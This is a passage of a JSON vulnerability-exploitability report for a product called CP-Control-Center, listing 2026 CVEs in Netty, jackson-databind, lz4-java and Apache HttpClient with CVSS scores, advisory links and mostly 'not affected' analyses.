"https://avd.aquasec.com/nvd/cve-2026-59889" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59889" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/6060" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/6056" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889" } ], "published": "2026-07-14T21:17:06+00:00", "updated": "2026-07-16T16:19:15+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. @JsonView is never used anywhere in control-center-backend, so there is no view-based access-control boundary for this CVE's bypass to defeat." } }, { "id": "CVE-2026-59898", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "cwes": [ 444 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, ab attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59898" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59898" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59898" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898" } ], "published": "2026-07-29T19:16:48+00:00", "updated": "2026-08-06T20:35:23+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final and does not implement a WebSocket server using WebSocketServerHandshaker07/08." } }, { "id": "CVE-2026-59899", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 770 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59899" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59899" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww" }, { "url": "https://netty.io/news/2026/07/09/4-1-136-Final.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59899" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899" } ], "published": "2026-07-29T18:16:56+00:00", "updated": "2026-08-06T20:25:31+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final and has no server-side content-encoding pipeline that would invoke HttpContentEncoder." } }, { "id": "CVE-2026-59900", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N" } ], "cwes": [ 444 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http2 to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59900" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59900" }, { "url": "https://github.com/advisories/GHSA-c69g-56f8-xwqj" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59900" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900" } ], "published": "2026-07-29T18:16:56+00:00", "updated": "2026-08-06T20:29:01+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http2 to the fixed 4.1.136.Final directly at compile scope, has no direct usage of Http2ConnectionHandler or Http2FrameCodec, and runs no Netty-based server of its own." } }, { "id": "CVE-2026-59901", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 835 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec to version 4.1.136.Final; Upgrade io.netty:netty-codec-compression to version 4.2.16.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59901" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59901" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59901" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59901" } ], "published": "2026-07-29T18:16:56+00:00", "updated": "2026-08-06T20:29:27+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-compression@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-compression@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-compression@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-compression@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty-codec-compression is not resolved anywhere in control-center-backend's dependency graph in any module or scope, and a source-wide search for Bzip2Decoder returns zero matches." } }, { "id": "CVE-2026-59903", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N" } ], "cwes": [ 524 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, io.netty.handler.codec.http.cors.CorsHandler setVaryHeader replaces application Vary headers such as Authorization or Cookie with Origin, allowing a caching proxy or CDN to reuse authenticated responses across users and disclose sensitive information. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.17.Final, 4.1.137.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59903" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59903" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/pull/17213" }, { "url": "https://github.com/netty/netty/pull/17217" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-8c42-7qj2-3j46" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59903" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59903" } ], "published": "2026-08-17T18:17:36+00:00", "updated": "2026-08-17T19:16:32+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ] }, { "id": "CVE-2026-59921", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.7, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "nvd" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 5.7, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" } ], "cwes": [ 93 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59921" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59921" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59921" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921" } ], "published": "2026-07-28T23:17:09+00:00", "updated": "2026-08-07T15:05:47+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final and never uses HttpPostRequestEncoder to build multipart requests anywhere in its source." } }, { "id": "CVE-2026-59949", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "redhat" }, "severity": "medium" } ], "cwes": [ 476 ], "description": "yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.1, JNI-backed XXHash implementations fail to validate the byte array object and the off and len arguments in XXHashFactory.nativeInstance().hash32().hash(), XXHashFactory.nativeInstance().hash64().hash(), XXHashFactory.nativeInstance().newStreamingHash32().update(), and XXHashFactory.nativeInstance().newStreamingHash64().update(), allowing null arrays or oversized ranges to reach native code, read outside the Java array, and fatally terminate the JVM. This issue is fixed in version 1.11.1.", "recommendation": "Upgrade at.yawk.lz4:lz4-java to version 1.11.1", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59949" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59949" }, { "url": "https://github.com/yawkat/lz4-java" }, { "url": "https://github.com/yawkat/lz4-java/commit/dbd86d04b8dd716e1c2bc626be54189997d910da" }, { "url": "https://github.com/yawkat/lz4-java/releases/tag/v1.11.1" }, { "url": "https://github.com/yawkat/lz4-java/security/advisories/GHSA-xx22-p4ch-683r" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59949" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59949" } ], "published": "2026-08-18T15:16:56+00:00", "updated": "2026-08-18T18:18:49+00:00", "affects": [ { "ref": "pkg:maven/at.yawk.lz4/lz4-java@1.10.2", "versions": [ { "version": "1.10.2", "status": "affected" } ] }, { "ref": "pkg:maven/at.yawk.lz4/lz4-java@1.10.2", "versions": [ { "version": "1.10.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/at.yawk.lz4/lz4-java@1.10.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/at.yawk.lz4/lz4-java@1.10.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. The backend reaches lz4-java only transitively via kafka-clients' own bounds-checked LZ4 codec, which never calls the vulnerable streaming XXHash API, and the frontend has no Java or lz4-java dependency at all." } }, { "id": "CVE-2026-64607", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 772 ], "description": "HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message.\u00a0Please note this defect does not affect HttpClient based on the async i/o model.\n\nThis issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2.", "recommendation": "Upgrade org.apache.httpcomponents.client5:httpclient5 to version 5.6.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-64607" }, { "url": "http://www.openwall.com/lists/oss-security/2026/08/13/5" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-64607" }, { "url": "https://github.com/apache/httpcomponents-client" }, { "url": "https://github.com/apache/httpcomponents-client/commit/55733f4121f7ba26ddf04fe12739d9c15962cb94" }, { "url": "https://github.com/apache/httpcomponents-client/commit/ebac9512f555c4a355cad3f59ef2db69b597cc97" }, { "url": "https://github.com/apache/httpcomponents-client/releases/tag/rel/v5.6.3" }, { "url": "https://github.com/apache/httpcomponents-client/releases/tag/rel/v5.7-alpha1" }, { "url": "https://lists.apache.org/thread/qqfzo3fqcdk4l5496vz95ppvl4ty511q" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64607" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-64607" } ], "published": "2026-07-31T11:17:11+00:00", "updated": "2026-08-13T17:17:33+00:00", "affects": [ { "ref": "pkg:maven/org.apache.httpcomponents.client5/httpclient5@5.4.4", "versions": [ { "version": "5.4.4", "status": "affected" } ] }, { "ref": "pkg:maven/org.apache.httpcomponents.client5/httpclient5@5.4.4", "versions": [ { "version": "5.4.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.apache.httpcomponents.client5/httpclient5@5.4.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.apache.httpcomponents.client5/httpclient5@5.4.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-73508", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 772 ], "description": "Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.dns.AbstractDnsRecord, io.netty.handler.codec.dns.DefaultDnsRecordDecoder.decodeRecord(), and io.netty.handler.codec.dns.DnsCodecUtil.decompressDomainName() failed to release retained or newly allocated ByteBuf objects when IDN.toASCII() or encodeDomainName() rejected a malformed domain name, allowing unauthenticated remote DNS packets to leak direct memory incrementally until denial of service. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-dns to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-73508" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-73508" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b" }, { "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6" }, { "url": "https://github.com/netty/netty/pull/17063" }, { "url": "https://github.com/netty/netty/pull/17065" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-mfg7-5gfp-c4w3" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73508" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-73508" } ], "published": "2026-08-13T15:20:17+00:00", "updated": "2026-08-13T18:18:17+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-dns@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-dns@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-dns@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-dns@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-dns to the fixed 4.1.136.Final and uses it only for outbound client-side DNS resolution via netty-resolver-dns, with no direct usage of DnsRecordDecoder." } }, { "id": "CVE-2026-78662", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [], "cwes": [ 770 ], "description": "Previously, a channel registered in the mux's chanList is not usable until it is established. A malicious peer was able flood the channel's incomingRequests, 